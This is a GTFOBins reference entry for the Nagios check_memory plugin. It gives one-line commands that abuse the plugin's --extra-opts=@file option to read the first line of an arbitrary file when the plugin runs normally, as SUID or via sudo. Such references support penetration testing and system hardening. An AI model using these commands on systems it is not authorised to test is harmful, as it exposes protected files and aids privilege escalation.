GTFOBins.github.io/_gtfobins/check_memory.md
2020-11-12 14:21:00 +01:00

467 B

description functions
This is the `check_memory` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
file-read suid sudo
code
LFILE=file_to_read check_memory --extra-opts=@"$LFILE"
code
LFILE=file_to_read ./check_memory --extra-opts=@"$LFILE"
code
LFILE=file_to_read sudo check_memory --extra-opts=@"$LFILE"